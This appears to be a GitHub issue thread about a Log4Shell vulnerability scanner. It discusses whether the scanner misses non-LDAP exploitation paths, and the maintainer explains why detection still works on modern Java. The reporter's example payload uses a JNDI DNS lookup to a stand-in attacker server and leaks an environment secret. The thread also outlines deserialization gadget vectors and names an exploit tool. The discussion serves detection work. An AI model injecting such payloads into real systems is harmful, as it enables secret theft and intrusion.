Only detecting JNDI + LDAP exploit variant - other exploits of CVE are undetected

[andy-may-at]

Describe the bug
Even with LDAP to remote host being stopped by using a modern Java version, there are still more ways to exploit the CVE.
But (based on looking at the source) this scan only checks the LDAP exploit path.
So a clean sheet from this scan doesn't mean that you're not vulnerable.

Example of a non-LDAP attack:
${jndi:dns://attackers-dns-server.com/somedomain${env:SECRET_TO_LEAK_VIA_DNS_QUERY}}

or via Factory Gadget attacks

See Appendix B of https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

Sanity Check

• I'm not trying to blindly scan random hosts without any configuration and wait for free money from their bug bounty programs.

[v-p-b]

We've tested this with modern JRE (I have 1.8.0_301 on my test VM) and the detection works just fine. (We don't aim for exploitation at all)

The relevant part of the linked article is this:

This is due to the fact that later versions set the JVM property com.sun.jndi.ldap.object.trustURLCodebase to false by default, which disables JNDI loading of classes from arbitrary URL code bases.
Note that relying only on a new Java version as protection against this issue is risky, since the issue may still be exploited on machines that contain certain “gadget” class files locally.

The above restriction only takes effect when a (remote) codeBase is specified. In vanilla exploitation, the codeBase is supplied by the JNDI response. So the app has to lookup the JNDI (and thus DNS) first to decide that it will block remote class loading from the codeBase. This is exactly why the deserialization vector is not blocked by a recent JRE: JNDI lookup is still performed by log4j, and it can return a serialized object, that can start playing around with the local gadgets.

You can try this yourself by running JNDIExploit against the usual vulnapp with a recent JRE. You'll see that the JNDI response is served, but the HTTP isn't until you explicitly set trustURLCodebase to true at the target.

[andy-may-at]

Thanks for the info! :)

[v-p-b]

You're welcome! However, next time please invest the effort to at least test things before opening issues about imaginary problems! Our time isn't free.